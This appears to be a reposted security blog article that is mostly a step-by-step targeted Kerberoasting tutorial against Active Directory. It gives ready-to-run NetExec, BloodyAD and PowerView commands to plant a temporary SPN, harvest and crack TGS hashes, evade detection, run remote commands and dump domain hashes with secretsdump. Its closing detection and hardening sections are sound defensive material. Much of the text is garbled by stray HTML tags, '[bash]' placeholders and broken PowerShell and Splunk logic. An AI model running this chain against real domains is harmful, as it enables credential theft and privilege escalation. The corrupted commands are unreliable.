Listen to this Post
Introduction:
Traditional Kerberoasting has long been a trusted method for extracting service account hashes in Active Directory environments. However, it has a crucial limitation—it only works against accounts that already have a Service Principal Name (SPN) registered. Targeted Kerberoasting shatters this barrier entirely: if an attacker possesses GenericWrite, WriteProperty, or GenericAll permissions over a target user, they can temporarily assign an SPN, request a crackable service ticket, and remove the SPN moments afterward, leaving no trace of the attack ever occurring.
Learning Objectives:
- Execute a complete targeted Kerberoasting attack using NetExec’s new `–targeted-kerberoast` flag and alternative manual methods
- Temporarily add, abuse, and remove SPNs via compromised accounts while evading standard detection mechanisms
- Implement defensive monitoring for SPN modifications and identify anomalous TGS requests that reveal active attacks
You Should Know:
- Adding a Temporary SPN to a Target User (NetExec Method)
This section presents an extended analysis of the LinkedIn post’s core concept—how Giovanni A. automated targeted Kerberoasting inside NetExec. The attack requires write privileges (GenericAll, GenericWrite, or WriteProperty) over the intended victim user. Members of the Account Operator group frequently possess these elevated permissions. Once the temporary SPN is added, standard Kerberoasting techniques retrieve the crackable TGS ticket. The entire process occurs without resetting a password or disrupting the target account’s functioning, making it one of the most silent privilege escalation vectors in modern Active Directory environments.
Step‑by‑step guide using NetExec (Linux/Kali):
1. Install NetExec on Kali (if not already available) sudo apt update && sudo apt install netexec <ol> <li>Alternative: Installation via pipx sudo apt install pipx git pipx ensurepath pipx install git+https://github.com/Pennyw0rth/NetExec
3. Perform SPN enumeration to identify accounts already having SPNs netexec ldap 192.168.1.10 -d LAB.LOCAL -u attacker_user -p Password123 --spns <ol> <li>Execute targeted Kerberoasting against a specific high-value user netexec ldap 192.168.1.10 -d LAB.LOCAL -u compromised_admin -p WeakPass --targeted-kerberoast highvalueadmin</p></li> <li><p>Output includes a hash format (typically $krb5tgs$) that can be saved
6. Crack the hash offline using Hashcat (mode 13100 for Kerberos 5 TGS) hashcat -m 13100 -a 0 target_kerberoast_hash.txt /usr/share/wordlists/rockyou.txt <ol> <li>Validate cracked password netexec smb 192.168.1.10 -d LAB.LOCAL -u highvalueadmin -p CrackedPassword123
The temporary SPN never persists in the directory. The victim account maintains its original attributes and continues normal operation. Blue teams monitoring SPN long-term values will see nothing unusual because the attribute is added, used, and removed within seconds. The entire workflow mirrors legitimate Kerberos behavior, requiring deeper event correlation to detect the attack.
What this does: the `–targeted-kerberoast` flag in NetExec automates SPN creation and removal, making the attack accessible without manual PowerShell scripting. Potential limitations: the attacker must already possess write permissions over the target user, and the acquired hash may still resist cracking if the target password exceeds complexity requirements.
2. Manual Targeted Kerberoasting Using BloodyAD and NetExec
When NetExec’s integrated flag is unavailable or when compatibility issues arise, combining BloodyAD with standard NetExec LDAP commands provides equivalent functionality. BloodyAD handles the SPN attribute injection, then NetExec harvests the resulting TGS ticket. This dual-tool approach mirrors the technique described in The Hacker Recipes and demonstrates tool interoperability common in professional red-team engagements. The manual method also offers greater flexibility when the environment restricts specific NetExec modules.
Step‑by‑step guide for manual targeted Kerberoasting (Linux/Kali):
1. Install BloodyAD tool git clone https://github.com/CravateRouge/bloodyAD cd bloodyAD sudo python3 setup.py install pip3 install bloodyAD
2. Add a temporary SPN to the target user using BloodyAD bloodyAD -d LAB.LOCAL --host 192.168.1.10 -u attacker_user -p WeakPassword set object target_admin servicePrincipalName -v 'http/anything' Alternative: Add SPN with NTLM hash bloodyAD -d LAB.LOCAL --host 192.168.1.10 -u attacker_user -H 8846F7EAEE8FB117AD06BDD830B7586C set object target_admin servicePrincipalName -v 'http/anything'
3. Execute standard Kerberoasting with NetExec to request TGS tickets netexec ldap 192.168.1.10 -d LAB.LOCAL -u attacker_user -p WeakPassword --kerberoasting kerberoastable_hashes.txt
4. Verify the temporary SPN was added (optional: query LDAP) netexec ldap 192.168.1.10 -u attacker_user -p WeakPassword --spns | grep "target_admin"
5. Remove the temporary SPN after ticket extraction bloodyAD -d LAB.LOCAL --host 192.168.1.10 -u attacker_user -p WeakPassword set object target_admin servicePrincipalName -v ''
6. Crack harvested hashes hashcat -m 13100 kerberoastable_hashes.txt -a 0 /usr/share/wordlists/rockyou.txt --show
Potential pitfalls: the SPN addition and removal steps must complete within a narrow time window if directory change monitoring is aggressive. Ensure the target account does not already possess an SPN before proceeding (check with `netexec ldap –spns` first). Environment-specific ACLs may restrict the ability to modify SPNs even when GenericWrite is present, requiring additional privilege validation using tools like BloodHound to confirm the attack path.
3. Windows Native Approach: PowerView and PowerShell
For Windows-based assessments or when Linux tool availability is restricted, PowerView (part of PowerSploit) directly manipulates SPNs and requests TGS tickets through native PowerShell. This method does not require external binaries beyond the PowerView module and provides straightforward execution from any domain-joined Windows system where the attacker has obtained a shell. Microsoft’s own administrative tools (Set-ADUser) can also perform the SPN manipulation, though they generate distinct event log artifacts that differ from third-party tools.
Step‑by‑step guide using PowerView (Windows PowerShell):
1. Import PowerView module (if already on system) Import-Module .\PowerView.ps1 <ol> <li>Verify the target user has no existing SPN Get-DomainUser 'victimuser' | Select serviceprincipalname
3. Temporarily set a fake SPN on the target user
Set-DomainObject -Identity 'victimuser' -Set @{serviceprincipalname='http/doesnotexist'}
<ol>
<li>Request a Kerberoast hash for the modified user
$User = Get-DomainUser 'victimuser'
$User | Get-DomainSPNTicket | Format-List
5. Extract the hash portion and save to a file Example output contains Service Ticket encrypted with target's password Copy the hash section starting with $krb5tgs <ol> <li>Clear the temporary SPN from the user object Set-DomainObject -Identity victimuser -Clear serviceprincipalname</p></li> <li><p>Verify SPN removal Get-DomainUser 'victimuser' | Select serviceprincipalname
8. Offline cracking on an attack machine hashcat -m 13100 victim_hash.txt -a 0 wordlist.txt
Critical operational considerations: PowerView scripts frequently trigger antivirus and EDR solutions; obfuscation or living-off-the-land alternatives may be necessary in monitored environments. The `Set-DomainObject` command requires appropriate PowerShell execution policy adjustments (Set-ExecutionPolicy Bypass -Scope Process). Windows Event ID 4662 (Directory Service Access) may log the SPN modification if advanced auditing is configured, though the brief duration of the change may still evade detection.
- Detecting the Attack: Event ID 5136 (SPN Modification)
Defenders must pivot from protecting SPN misconfigurations to monitoring for SPN attribute modifications that are added and removed within suspicious timeframes. The most effective detection focuses on Event ID 5136, which logs any directory object attribute change, specifically tracking the `servicePrincipalName` attribute. Short-lived modifications—added and deleted within seconds or minutes—strongly indicate targeted Kerberoasting rather than legitimate administrative actions. Configuring advanced directory service auditing and applying proper SACLs on domain objects ensures these events populate security logs.
Step‑by‑step for configuring and monitoring SPN modifications:
1. Enable Advanced Audit Policy for Directory Service Changes auditpol /set /subcategory:"Directory Service Changes" /success:enable /failure:enable <ol> <li>Configure SACL for "Write ServicePrincipalName" on the domain root Via Group Policy: Computer Configuration -> Windows Settings -> Security Settings -> Advanced Audit Policy Or via PowerShell using Set-ADObject with a custom SACL
3. Query Event ID 5136 for SPN modifications from PowerShell
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5136} | Where-Object {$_.Properties[bash].Value -like 'servicePrincipalName'}
<ol>
<li>Export suspicious SPN modifications (added and deleted in rapid succession)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=5136} |
ForEach-Object {
$Time = $<em>.TimeCreated
$User = $</em>.Properties[bash].Value
$Attribute = $<em>.Properties[bash].Value
$Value = $</em>.Properties[bash].Value
[bash]@{Time=$Time; User=$User; Attribute=$Attribute; Value=$Value}
} | where Attribute -like "servicePrincipalName" | Sort-Object Time
5. Splunk or SIEM detection logic for short-lived SPN changes
index=windows EventCode=5136 AttributeLDAPDisplayName=servicePrincipalName
| eval Operation=case(OperationType="%%14674","Added", OperationType="%%14675","Deleted")
| stats values(Operation) as Operations by ObjectDN, User
| where mvcount(Operations)>1 AND 'Operations{"Added","Deleted"}' = 'Added'
Security teams must correlate Event ID 5136 with Event ID 4769 (TGS requests). If an SPN is added and immediately followed by TGS requests from the same source host, then rapidly deleted, the attack is almost certainly active. Windows Event ID 4769, when combined with the service name and requesting account information, provides the second critical datapoint for confirming a successful targeted Kerberoasting attempt.
5. Cracking TGS Tickets and Post-Exploitation
After extracting the hash, offline password cracking remains the most practical method for recovering the plaintext service account password. The hash format for Kerberos 5 TGS tickets is mode 13100 in Hashcat or `krb5tgs` in John the Ripper. Service accounts frequently use weak or default passwords due to legacy system constraints, making them vulnerable to dictionary and rules-based attacks. Once cracked, the compromised account can be used for Silver Ticket forgery, lateral movement, or direct authentication to services associated with the account’s native permissions.
Step‑by‑step cracking workflow:
1. Identify hash format from NetExec output Standard targeted Kerberoast output resembles: $krb5tgs$23$user$domain$service$... <ol> <li>Use Hashcat with mode 13100 (Kerberos 5 TGS) hashcat -m 13100 -a 0 extracted_hash.txt /usr/share/wordlists/rockyou.txt -O -w 4</p></li> <li><p>Use rules for complexity variations hashcat -m 13100 -a 0 extracted_hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule</p></li> <li><p>John the Ripper alternative john --format=krb5tgs --wordlist=rockyou.txt hash_output</p></li> <li><p>After successful cracking, test credentials with NetExec netexec smb 192.168.1.10 -d LAB.LOCAL -u cracked_user -p cracked_password</p></li> <li><p>Enumerate privileges of the cracked account netexec ldap 192.168.1.10 -u cracked_user -p cracked_password --admin-count
7. Potential post-exploitation actions if the account has high privileges netexec smb 192.168.1.10 -u cracked_user -p cracked_password -x 'whoami' <ol> <li>Dump domain hashes (if Domain Admin privileges obtained) secretsdump.py LAB.LOCAL/cracked_user:[email protected]
Practical constraints: high-complexity passwords (longer than 14 characters with mixed case, numbers, and symbols) may remain uncrackable even with powerful GPUs. Modern service accounts should be configured with AES encryption (enforced via `msDS-SupportedEncryptionTypes` attribute) rather than RC4, making cracking significantly more difficult. However, many legacy environments still default to RC4, which remains highly susceptible to offline brute-force attacks.
6. Defensive Mitigations and Hardening
From a blue-team perspective, targeted Kerberoasting exploits permission misconfigurations rather than cryptographic weaknesses alone. The most effective defense involves strict enforcement of least privilege on directory write permissions—particularly GenericAll, GenericWrite, and WriteProperty against user objects. Regular ACL reviews using tools like BloodHound can identify dangerous delegation paths before attackers find them. Additionally, enforcing AES encryption for all Kerberos tickets (disabling RC4 support) forces attackers to crack AES-encrypted hashes, which is computationally infeasible for any reasonably strong password.
Step‑by‑step hardening commands (Domain Admin on Domain Controller):
1. Audit dangerous permissions using BloodHound custom query (cypher) MATCH (u:User)-[:GenericAll|GenericWrite|WriteProperty|WriteSPN]->(t:User) RETURN u.name, t.name
2. Enforce AES encryption for all service accounts via PowerShell
Get-ADUser -Filter -Properties msDS-SupportedEncryptionTypes | ForEach-Object {
if ($<em>.msDS-SupportedEncryptionTypes -eq $null -or $</em>.msDS-SupportedEncryptionTypes -eq 0) {
Set-ADUser -Identity $_.SamAccountName -Replace @{'msDS-SupportedEncryptionTypes'=24}
Value 24 = AES128 + AES256, disabling RC4
}
}
<ol>
<li>Disable RC4 for Kerberos via Group Policy (advanced security audit)
Computer Config -> Policies -> Windows Settings -> Security Settings -> Local Policies -> Security Options
"Network security: Configure encryption types allowed for Kerberos"
Uncheck "RC4_HMAC_MD5" and enable "AES128_HMAC_SHA1" + "AES256_HMAC_SHA1"
4. Apply Group Policy and verify changes
gpupdate /force
klist get krbtgt Validate encryption type is AES
<ol>
<li>Monitor for accounts still requesting RC4 tickets (Event ID 4769 with TicketEncryptionType=0x17)
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4769} |
Where-Object {$_.Properties[bash].Value -eq 0x17}
6. Regularly review effective write permissions with PowerView
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.ObjectAceType -like "servicePrincipalName"}
<ol>
<li>Remove unnecessary write permissions using ADUC or PowerShell
Example: Remove GenericWrite from a compromised user to a privileged admin
Remove-ADObjectAccessControlEntry -Identity "CN=highvalueadmin,OU=Users,DC=LAB,DC=LOCAL" -Principal "attacker_user" -Right GenericWrite
Microsoft recommends a phased approach: first identify all RC4-dependent devices, then enforce AES encryption on service accounts before globally disabling RC4 on domain controllers. Service accounts running legacy applications may break if forced to AES without prior validation. Non-human identities and service accounts should remain under rigorous change control, with password lengths exceeding 25 characters and rotation intervals shorter than 90 days.
What Undercode Say:
- Targeted Kerberoasting transforms an ACL misconfiguration into a complete privilege escalation path without resetting passwords or triggering immediate lockout alerts. The temporary SPN injection technique bypasses standard Kerberoasting detection that relies on SPN enumeration artifacts.
-
Defenders must shift from passive SPN misconfiguration monitoring to active ACL auditing and temporal correlation of Event ID 5136 (modification) with Event ID 4769 (ticket request). Short-lived attribute changes within 30 seconds represent the strongest detection indicator. Enforcing AES-only Kerberos encryption remains the most reliable mitigation against offline cracking, rendering even successfully harvested tickets resistant to brute-force attacks.
Prediction:
The automation of targeted Kerberoasting via NetExec and similar tools will accelerate the offensive security community’s focus on ACL-based attacks rather than service account misconfigurations. Within 12–24 months, SIEM solutions and EDR platforms will introduce specialized correlation logic specifically for temporary SPN creation patterns. Microsoft will likely enhance advanced audit policies to flag rapid SPN add-delete sequences by default, potentially forcing privileged access workstations to restrict SPN modifications entirely for non-admin users. Enterprises that ignore least privilege auditing will face increasing breach risks from sophisticated identity-centric attacks that leave minimal forensic footprints. The evolution of Kerberoasting demonstrates that attack surfaces pivot from static configurations to dynamic permission abuse—and detection paradigms must follow accordingly.
▶️ Related Video (90% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Https: – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
